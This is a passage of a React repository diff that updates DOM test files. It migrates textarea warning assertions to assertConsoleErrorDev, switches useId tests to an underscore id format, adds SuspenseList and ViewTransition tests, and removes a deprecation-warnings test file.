+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       expect(node.value).toBe('dragon');
     });
   }
@@ -481,17 +481,16 @@ describe('ReactDOMTextarea', () => {
     it('should treat children like `defaultValue`', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      let node;
 
-      await expect(async () => {
-        node = await renderTextarea(
-          <textarea>giraffe</textarea>,
-          container,
-          root,
-        );
-      }).toErrorDev(
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      const node = await renderTextarea(
+        <textarea>giraffe</textarea>,
+        container,
+        root,
       );
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
 
       expect(node.value).toBe('giraffe');
 
@@ -549,12 +548,15 @@ describe('ReactDOMTextarea', () => {
     it('should ignore numbers as children', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      let node;
-      await expect(async () => {
-        node = await renderTextarea(<textarea>{17}</textarea>, container, root);
-      }).toErrorDev(
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      const node = await renderTextarea(
+        <textarea>{17}</textarea>,
+        container,
+        root,
       );
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       expect(node.value).toBe('');
     });
   }
@@ -563,12 +565,15 @@ describe('ReactDOMTextarea', () => {
     it('should allow numbers as children', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      let node;
-      await expect(async () => {
-        node = await renderTextarea(<textarea>{17}</textarea>, container, root);
-      }).toErrorDev(
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      const node = await renderTextarea(
+        <textarea>{17}</textarea>,
+        container,
+        root,
       );
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       expect(node.value).toBe('17');
     });
   }
@@ -577,16 +582,15 @@ describe('ReactDOMTextarea', () => {
     it('should ignore booleans as children', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      let node;
-      await expect(async () => {
-        node = await renderTextarea(
-          <textarea>{false}</textarea>,
-          container,
-          root,
-        );
-      }).toErrorDev(
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      const node = await renderTextarea(
+        <textarea>{false}</textarea>,
+        container,
+        root,
       );
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       expect(node.value).toBe('');
     });
   }
@@ -595,16 +599,15 @@ describe('ReactDOMTextarea', () => {
     it('should allow booleans as children', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      let node;
-      await expect(async () => {
-        node = await renderTextarea(
-          <textarea>{false}</textarea>,
-          container,
-          root,
-        );
-      }).toErrorDev(
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      const node = await renderTextarea(
+        <textarea>{false}</textarea>,
+        container,
+        root,
       );
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       expect(node.value).toBe('false');
     });
   }
@@ -618,16 +621,15 @@ describe('ReactDOMTextarea', () => {
           return 'sharkswithlasers';
         },
       };
-      let node;
-      await expect(async () => {
-        node = await renderTextarea(
-          <textarea>{obj}</textarea>,
-          container,
-          root,
-        );
-      }).toErrorDev(
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      const node = await renderTextarea(
+        <textarea>{obj}</textarea>,
+        container,
+        root,
       );
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       expect(node.value).toBe('');
     });
   }
@@ -641,16 +643,15 @@ describe('ReactDOMTextarea', () => {
           return 'sharkswithlasers';
         },
       };
-      let node;
-      await expect(async () => {
-        node = await renderTextarea(
-          <textarea>{obj}</textarea>,
-          container,
-          root,
-        );
-      }).toErrorDev(
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      const node = await renderTextarea(
+        <textarea>{obj}</textarea>,
+        container,
+        root,
       );
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       expect(node.value).toBe('sharkswithlasers');
     });
   }
@@ -660,35 +661,36 @@ describe('ReactDOMTextarea', () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
       await expect(async () => {
-        await expect(async () => {
-          await act(() => {
-            root.render(
-              <textarea>
-                {'hello'}
-                {'there'}
-              </textarea>,
-            );
-          });
-        }).rejects.toThrow('<textarea> can only have at most one child');
-      }).toErrorDev([
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+        await act(() => {
+          root.render(
+            <textarea>
+              {'hello'}
+              {'there'}
+            </textarea>,
+          );
+        });
+      }).rejects.toThrow('<textarea> can only have at most one child');
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
       ]);
 
       let node;
-      await expect(async () => {
-        await expect(
-          (async () =>
-            (node = await renderTextarea(
-              <textarea>
-                <strong />
-              </textarea>,
-              container,
-              root,
-            )))(),
-        ).resolves.not.toThrow();
-      }).toErrorDev([
-        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.',
+      await expect(
+        (async () =>
+          (node = await renderTextarea(
+            <textarea>
+              <strong />
+            </textarea>,
+            container,
+            root,
+          )))(),
+      ).resolves.not.toThrow();
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
       ]);
 
       expect(node.value).toBe('[object Object]');
@@ -710,15 +712,15 @@ describe('ReactDOMTextarea', () => {
   it('should warn if value is null', async () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<textarea value={null} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<textarea value={null} />);
+    });
+    assertConsoleErrorDev([
       '`value` prop on `textarea` should not be null. ' +
         'Consider using an empty string to clear the component or `undefined` ' +
-        'for uncontrolled components.',
-    );
+        'for uncontrolled components.\n' +
+        '    in textarea (at **)',
+    ]);
 
     await act(() => {
       root.render(<textarea value={null} />);
@@ -731,18 +733,19 @@ describe('ReactDOMTextarea', () => {
     );
     let container = document.createElement('div');
     let root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<InvalidComponent />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<InvalidComponent />);
+    });
+    assertConsoleErrorDev([
       'InvalidComponent contains a textarea with both value and defaultValue props. ' +
         'Textarea elements must be either controlled or uncontrolled ' +
         '(specify either the value prop, or the defaultValue prop, but not ' +
         'both). Decide between using a controlled or uncontrolled textarea ' +
         'and remove one of these props. More info: ' +
-        'https://react.dev/link/controlled-components',
-    );
+        'https://react.dev/link/controlled-components\n' +
+        '    in textarea (at **)\n' +
+        '    in InvalidComponent (at **)',
+    ]);
 
     container = document.createElement('div');
     root = ReactDOMClient.createRoot(container);
@@ -819,13 +822,15 @@ describe('ReactDOMTextarea', () => {
     it('treats initial Symbol value as an empty string', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <textarea value={Symbol('foobar')} onChange={() => {}} />,
-          );
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(<textarea value={Symbol('foobar')} onChange={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <textarea> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in textarea (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
@@ -834,11 +839,13 @@ describe('ReactDOMTextarea', () => {
     it('treats initial Symbol children as an empty string', async () => {
       const container = document.createElement('div');
       const root = ReactDOMClient.createRoot(container);
-      await expect(async () => {
-        await act(() => {
-          root.render(<textarea onChange={() => {}}>{Symbol('foo')}</textarea>);
-        });
-      }).toErrorDev('Use the `defaultValue` or `value` props');
+      await act(() => {
+        root.render(<textarea onChange={() => {}}>{Symbol('foo')}</textarea>);
+      });
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
@@ -852,11 +859,15 @@ describe('ReactDOMTextarea', () => {
         root.render(<textarea value="foo" onChange={() => {}} />);
       });
 
-      await expect(async () => {
-        await act(() => {
-          root.render(<textarea value={Symbol('foo')} onChange={() => {}} />);
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(<textarea value={Symbol('foo')} onChange={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <textarea> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in textarea (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
@@ -897,13 +908,17 @@ describe('ReactDOMTextarea', () => {
   describe('When given a function value', () => {
     it('treats initial function value as an empty string', async () => {
       const container = document.createElement('div');
-      await expect(async () => {
-        const root = ReactDOMClient.createRoot(container);
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<textarea value={() => {}} onChange={() => {}} />);
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(<textarea value={() => {}} onChange={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <textarea> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in textarea (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
@@ -911,13 +926,15 @@ describe('ReactDOMTextarea', () => {
 
     it('treats initial function children as an empty string', async () => {
       const container = document.createElement('div');
-      await expect(async () => {
-        const root = ReactDOMClient.createRoot(container);
+      const root = ReactDOMClient.createRoot(container);
 
-        await act(() => {
-          root.render(<textarea onChange={() => {}}>{() => {}}</textarea>);
-        });
-      }).toErrorDev('Use the `defaultValue` or `value` props');
+      await act(() => {
+        root.render(<textarea onChange={() => {}}>{() => {}}</textarea>);
+      });
+      assertConsoleErrorDev([
+        'Use the `defaultValue` or `value` props instead of setting children on <textarea>.\n' +
+          '    in textarea (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
@@ -931,11 +948,15 @@ describe('ReactDOMTextarea', () => {
         root.render(<textarea value="foo" onChange={() => {}} />);
       });
 
-      await expect(async () => {
-        await act(() => {
-          root.render(<textarea value={() => {}} onChange={() => {}} />);
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(<textarea value={() => {}} onChange={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <textarea> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in textarea (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
@@ -1054,60 +1075,60 @@ describe('ReactDOMTextarea', () => {
   it('should warn about missing onChange if value is false', async () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<textarea value={false} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<textarea value={false} />);
+    });
+    assertConsoleErrorDev([
       'You provided a `value` prop to a form ' +
         'field without an `onChange` handler. This will render a read-only ' +
         'field. If the field should be mutable use `defaultValue`. ' +
-        'Otherwise, set either `onChange` or `readOnly`.',
-    );
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in textarea (at **)',
+    ]);
   });
 
   it('should warn about missing onChange if value is 0', async () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<textarea value={0} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<textarea value={0} />);
+    });
+    assertConsoleErrorDev([
       'You provided a `value` prop to a form ' +
         'field without an `onChange` handler. This will render a read-only ' +
         'field. If the field should be mutable use `defaultValue`. ' +
-        'Otherwise, set either `onChange` or `readOnly`.',
-    );
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in textarea (at **)',
+    ]);
   });
 
   it('should warn about missing onChange if value is "0"', async () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<textarea value="0" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<textarea value="0" />);
+    });
+    assertConsoleErrorDev([
       'You provided a `value` prop to a form ' +
         'field without an `onChange` handler. This will render a read-only ' +
         'field. If the field should be mutable use `defaultValue`. ' +
-        'Otherwise, set either `onChange` or `readOnly`.',
-    );
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in textarea (at **)',
+    ]);
   });
 
   it('should warn about missing onChange if value is ""', async () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<textarea value="" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<textarea value="" />);
+    });
+    assertConsoleErrorDev([
       'You provided a `value` prop to a form ' +
         'field without an `onChange` handler. This will render a read-only ' +
         'field. If the field should be mutable use `defaultValue`. ' +
-        'Otherwise, set either `onChange` or `readOnly`.',
-    );
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in textarea (at **)',
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMUseId-test.js b/packages/react-dom/src/__tests__/ReactDOMUseId-test.js
index af5dbdd35529..08c48d5f0d7c 100644
--- a/packages/react-dom/src/__tests__/ReactDOMUseId-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMUseId-test.js
@@ -7,7 +7,6 @@
  * @emails react-core
  * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment
  */
-
 let JSDOM;
 let React;
 let ReactDOMClient;
@@ -24,6 +23,7 @@ let buffer = '';
 let hasErrored = false;
 let fatalError = undefined;
 let waitForPaint;
+let SuspenseList;
 
 describe('useId', () => {
   beforeEach(() => {
@@ -37,6 +37,9 @@ describe('useId', () => {
     Suspense = React.Suspense;
     useId = React.useId;
     useState = React.useState;
+    if (gate(flags => flags.enableSuspenseList)) {
+      SuspenseList = React.unstable_SuspenseList;
+    }
 
     const InternalTestUtils = require('internal-test-utils');
     waitForPaint = InternalTestUtils.waitForPaint;
@@ -96,7 +99,7 @@ describe('useId', () => {
   }
 
   function normalizeTreeIdForTesting(id) {
-    const result = id.match(/:(R|r)([a-z0-9]*)(H([0-9]*))?:/);
+    const result = id.match(/_(R|r)_([a-z0-9]*)(H([0-9]*))?_/);
     if (result === undefined) {
       throw new Error('Invalid id format');
     }
@@ -285,7 +288,7 @@ describe('useId', () => {
     // 'R:' prefix, and the first character after that, which may not correspond
     // to a complete set of 5 bits.
     //
-    // Example: :Rclalalalalalalala...:
+    // Example: _Rclalalalalalalala...:
     //
     // We can use this pattern to test large ids that exceed the bitwise
     // safe range (32 bits). The algorithm should theoretically support ids
@@ -320,8 +323,8 @@ describe('useId', () => {
 
     // Confirm that every id matches the expected pattern
     for (let i = 0; i < divs.length; i++) {
-      // Example: :Rclalalalalalalala...:
-      expect(divs[i].id).toMatch(/^:R.(((al)*a?)((la)*l?))*:$/);
+      // Example: _Rclalalalalalalala...:
+      expect(divs[i].id).toMatch(/^_R_.(((al)*a?)((la)*l?))*_$/);
     }
   });
 
@@ -345,7 +348,7 @@ describe('useId', () => {
       <div
         id="container"
       >
-        :R0:, :R0H1:, :R0H2:
+        _R_0_, _R_0H1_, _R_0H2_
       </div>
     `);
   });
@@ -370,7 +373,320 @@ describe('useId', () => {
       <div
         id="container"
       >
-        :R0:
+        _R_0_
+      </div>
+    `);
+  });
+
+  // @gate enableSuspenseList
+  it('Supports SuspenseList (reveal order independent)', async () => {
+    function Baz({id, children}) {
+      return <span id={id}>{children}</span>;
+    }
+
+    function Bar({children}) {
+      const id = useId();
+      return <Baz id={id}>{children}</Baz>;
+    }
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="independent">
+          <Bar>A</Bar>
+          <Bar>B</Bar>
+        </SuspenseList>
+      );
+    }
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_R_1_"
+        >
+          A
+        </span>
+        <span
+          id="_R_2_"
+        >
+          B
+        </span>
+      </div>
+    `);
+
+    await clientAct(async () => {
+      ReactDOMClient.hydrateRoot(container, <Foo />);
+    });
+
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_R_1_"
+        >
+          A
+        </span>
+        <span
+          id="_R_2_"
+        >
+          B
+        </span>
+      </div>
+    `);
+  });
+
+  // @gate enableSuspenseList
+  it('Supports SuspenseList (reveal order "together")', async () => {
+    function Baz({id, children}) {
+      return <span id={id}>{children}</span>;
+    }
+
+    function Bar({children}) {
+      const id = useId();
+      return <Baz id={id}>{children}</Baz>;
+    }
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="together">
+          <Bar>A</Bar>
+          <Bar>B</Bar>
+        </SuspenseList>
+      );
+    }
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_R_1_"
+        >
+          A
+        </span>
+        <span
+          id="_R_2_"
+        >
+          B
+        </span>
+      </div>
+    `);
+
+    await clientAct(async () => {
+      ReactDOMClient.hydrateRoot(container, <Foo />);
+    });
+
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_R_1_"
+        >
+          A
+        </span>
+        <span
+          id="_R_2_"
+        >
+          B
+        </span>
+      </div>
+    `);
+  });
+
+  // @gate enableSuspenseList
+  it('Supports SuspenseList (reveal order "forwards")', async () => {
+    function Baz({id, children}) {
+      return <span id={id}>{children}</span>;
+    }
+
+    function Bar({children}) {
+      const id = useId();
+      return <Baz id={id}>{children}</Baz>;
+    }
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="forwards" tail="visible">
+          <Bar>A</Bar>
+          <Bar>B</Bar>
+        </SuspenseList>
+      );
+    }
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_R_1_"
+        >
+          A
+        </span>
+        <span
+          id="_R_2_"
+        >
+          B
+        </span>
+      </div>
+    `);
+
+    await clientAct(async () => {
+      ReactDOMClient.hydrateRoot(container, <Foo />);
+    });
+
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_R_1_"
+        >
+          A
+        </span>
+        <span
+          id="_R_2_"
+        >
+          B
+        </span>
+      </div>
+    `);
+  });
+
+  // @gate enableSuspenseList
+  it('Supports SuspenseList (reveal order "backwards") with a single child in a list of many', async () => {
+    function Baz({id, children}) {
+      return <span id={id}>{children}</span>;
+    }
+
+    function Bar({children}) {
+      const id = useId();
+      return <Baz id={id}>{children}</Baz>;
+    }
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="unstable_legacy-backwards" tail="visible">
+          {null}
+          <Bar>A</Bar>
+          {null}
+        </SuspenseList>
+      );
+    }
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_R_2_"
+        >
+          A
+        </span>
+        <!-- -->
+      </div>
+    `);
+
+    await clientAct(async () => {
+      ReactDOMClient.hydrateRoot(container, <Foo />);
+    });
+
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_R_2_"
+        >
+          A
+        </span>
+        <!-- -->
+      </div>
+    `);
+  });
+
+  // @gate enableSuspenseList
+  it('Supports SuspenseList (reveal order "backwards")', async () => {
+    function Baz({id, children}) {
+      return <span id={id}>{children}</span>;
+    }
+
+    function Bar({children}) {
+      const id = useId();
+      return <Baz id={id}>{children}</Baz>;
+    }
+
+    function Foo() {
+      return (
+        <SuspenseList revealOrder="unstable_legacy-backwards" tail="visible">
+          <Bar>A</Bar>
+          <Bar>B</Bar>
+        </SuspenseList>
+      );
+    }
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_R_1_"
+        >
+          A
+        </span>
+        <span
+          id="_R_2_"
+        >
+          B
+        </span>
+      </div>
+    `);
+
+    // TODO: This is a bug with revealOrder="backwards" in that it hydrates in reverse.
+    await expect(async () => {
+      await clientAct(async () => {
+        ReactDOMClient.hydrateRoot(container, <Foo />);
+      });
+    }).rejects.toThrowError(
+      `Hydration failed because the server rendered text didn't match the client. As a result this tree will be regenerated on the client.`,
+    );
+
+    expect(container).toMatchInlineSnapshot(`
+      <div
+        id="container"
+      >
+        <span
+          id="_r_1_"
+        >
+          A
+        </span>
+        <span
+          id="_r_0_"
+        >
+          B
+        </span>
       </div>
     `);
   });
@@ -608,10 +924,10 @@ describe('useId', () => {
         id="container"
       >
         <div>
-          :custom-prefix-R1:
+          _custom-prefix-R_1_
         </div>
         <div>
-          :custom-prefix-R2:
+          _custom-prefix-R_2_
         </div>
       </div>
     `);
@@ -625,13 +941,13 @@ describe('useId', () => {
         id="container"
       >
         <div>
-          :custom-prefix-R1:
+          _custom-prefix-R_1_
         </div>
         <div>
-          :custom-prefix-R2:
+          _custom-prefix-R_2_
         </div>
         <div>
-          :custom-prefix-r0:
+          _custom-prefix-r_0_
         </div>
       </div>
     `);
@@ -672,11 +988,11 @@ describe('useId', () => {
         id="container"
       >
         <div>
-          :R0:
+          _R_0_
           <!-- -->
            
           <div>
-            :R7:
+            _R_7_
           </div>
         </div>
       </div>
@@ -690,11 +1006,11 @@ describe('useId', () => {
         id="container"
       >
         <div>
-          :R0:
+          _R_0_
           <!-- -->
            
           <div>
-            :R7:
+            _R_7_
           </div>
         </div>
       </div>
diff --git a/packages/react-dom/src/__tests__/ReactDOMViewTransition-test.js b/packages/react-dom/src/__tests__/ReactDOMViewTransition-test.js
new file mode 100644
index 000000000000..1c5b43a18acd
--- /dev/null
+++ b/packages/react-dom/src/__tests__/ReactDOMViewTransition-test.js
@@ -0,0 +1,179 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ */
+
+'use strict';
+
+let React;
+let ReactDOMClient;
+let Suspense;
+let SuspenseList;
+let ViewTransition;
+let act;
+let assertLog;
+let Scheduler;
+let textCache;
+
+describe('ReactDOMViewTransition', () => {
+  let container;
+
+  beforeEach(() => {
+    jest.resetModules();
+    React = require('react');
+    ReactDOMClient = require('react-dom/client');
+    Scheduler = require('scheduler');
+    act = require('internal-test-utils').act;
+    assertLog = require('internal-test-utils').assertLog;
+    Suspense = React.Suspense;
+    ViewTransition = React.ViewTransition;
+    if (gate(flags => flags.enableSuspenseList)) {
+      SuspenseList = React.unstable_SuspenseList;
+    }
+    container = document.createElement('div');
+    document.body.appendChild(container);
+
+    textCache = new Map();
+  });
+
+  afterEach(() => {
+    document.body.removeChild(container);
+  });
+
+  function resolveText(text) {
+    const record = textCache.get(text);
+    if (record === undefined) {
+      const newRecord = {
+        status: 'resolved',
+        value: text,
+      };
+      textCache.set(text, newRecord);
+    } else if (record.status === 'pending') {
+      const thenable = record.value;
+      record.status = 'resolved';
+      record.value = text;
+      thenable.pings.forEach(t => t());
+    }
+  }
+
+  function readText(text) {
+    const record = textCache.get(text);
+    if (record !== undefined) {
+      switch (record.status) {
+        case 'pending':
+          Scheduler.log(`Suspend! [${text}]`);
+          throw record.value;
+        case 'rejected':
+          throw record.value;
+        case 'resolved':
+          return record.value;
+      }
+    } else {
+      Scheduler.log(`Suspend! [${text}]`);
+      const thenable = {
+        pings: [],
+        then(resolve) {
+          if (newRecord.status === 'pending') {
+            thenable.pings.push(resolve);
+          } else {
+            Promise.resolve().then(() => resolve(newRecord.value));
+          }
+        },
+      };
+
+      const newRecord = {
+        status: 'pending',
+        value: thenable,
+      };
+      textCache.set(text, newRecord);
+
+      throw thenable;
+    }
+  }
+
+  function Text({text}) {
+    Scheduler.log(text);
+    return text;
+  }
+
+  function AsyncText({text}) {
+    readText(text);
+    Scheduler.log(text);
+    return text;
+  }
+
+  // @gate enableSuspenseList
+  it('handles ViewTransition wrapping Suspense inside SuspenseList', async () => {
+    function Card({id}) {
+      return (
+        <div>
+          <AsyncText text={`Card ${id}`} />
+        </div>
+      );
+    }
+
+    function CardSkeleton({n}) {
+      return <Text text={`Skeleton ${n}`} />;
+    }
+
+    function App() {
+      return (
+        <div>
+          <SuspenseList revealOrder="together">
+            <ViewTransition>
+              <Suspense fallback={<CardSkeleton n={1} />}>
+                <Card id={1} />
+              </Suspense>
+            </ViewTransition>
+            <ViewTransition>
+              <Suspense fallback={<CardSkeleton n={2} />}>
+                <Card id={2} />
+              </Suspense>
+            </ViewTransition>
+            <ViewTransition>
+              <Suspense fallback={<CardSkeleton n={3} />}>
+                <Card id={3} />
+              </Suspense>
+            </ViewTransition>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+
+    // Initial render - all cards should suspend
+    await act(() => {
+      root.render(<App />);
+    });
+
+    assertLog([
+      'Suspend! [Card 1]',
+      'Skeleton 1',
+      'Suspend! [Card 2]',
+      'Skeleton 2',
+      'Suspend! [Card 3]',
+      'Skeleton 3',
+      'Skeleton 1',
+      'Skeleton 2',
+      'Skeleton 3',
+    ]);
+
+    await act(() => {
+      resolveText('Card 1');
+      resolveText('Card 2');
+      resolveText('Card 3');
+    });
+
+    assertLog(['Card 1', 'Card 2', 'Card 3']);
+
+    // All cards should be visible
+    expect(container.textContent).toContain('Card 1');
+    expect(container.textContent).toContain('Card 2');
+    expect(container.textContent).toContain('Card 3');
+  });
+});
diff --git a/packages/react-dom/src/__tests__/ReactDeprecationWarnings-test.js b/packages/react-dom/src/__tests__/ReactDeprecationWarnings-test.js
deleted file mode 100644
index 77c9e1886e0a..000000000000
--- a/packages/react-dom/src/__tests__/ReactDeprecationWarnings-test.js
+++ /dev/null
@@ -1,181 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @emails react-core
- */
-
-'use strict';
-
-let React;
-let ReactNoop;
-let JSXDEVRuntime;
-let waitForAll;
-
-describe('ReactDeprecationWarnings', () => {
-  beforeEach(() => {
-    jest.resetModules();
-    React = require('react');
-    ReactNoop = require('react-noop-renderer');
-    const InternalTestUtils = require('internal-test-utils');
-    waitForAll = InternalTestUtils.waitForAll;
-    if (__DEV__) {
-      JSXDEVRuntime = require('react/jsx-dev-runtime');
-    }
-  });
-
-  // @gate !disableDefaultPropsExceptForClasses || !__DEV__
-  it('should warn when given defaultProps', async () => {
-    function FunctionalComponent(props) {
-      return null;
-    }
-
-    FunctionalComponent.defaultProps = {
-      testProp: true,
-    };
-
-    ReactNoop.render(<FunctionalComponent />);
-    await expect(async () => await waitForAll([])).toErrorDev(
-      'FunctionalComponent: Support for defaultProps ' +
-        'will be removed from function components in a future major ' +
-        'release. Use JavaScript default parameters instead.',
-    );
-  });
-
-  // @gate !disableDefaultPropsExceptForClasses || !__DEV__
-  it('should warn when given defaultProps on a memoized function', async () => {
-    const MemoComponent = React.memo(function FunctionalComponent(props) {
-      return null;
-    });
-
-    MemoComponent.defaultProps = {
-      testProp: true,
-    };
-
-    ReactNoop.render(
-      <div>
-        <MemoComponent />
-      </div>,
-    );
-    await expect(async () => await waitForAll([])).toErrorDev(
-      'FunctionalComponent: Support for defaultProps ' +
-        'will be removed from memo components in a future major ' +
-        'release. Use JavaScript default parameters instead.',
-    );
-  });
-
-  // @gate !disableStringRefs
-  it('should warn when given string refs', async () => {
-    class RefComponent extends React.Component {
-      render() {
-        return null;
-      }
-    }
-    class Component extends React.Component {
-      render() {
-        return <RefComponent ref="refComponent" />;
-      }
-    }
-
-    ReactNoop.render(<Component />);
-    await expect(async () => await waitForAll([])).toErrorDev(
-      'Component "Component" contains the string ref "refComponent". ' +
-        'Support for string refs will be removed in a future major release. ' +
-        'We recommend using useRef() or createRef() instead. ' +
-        'Learn more about using refs safely here: ' +
-        'https://react.dev/link/strict-mode-string-ref' +
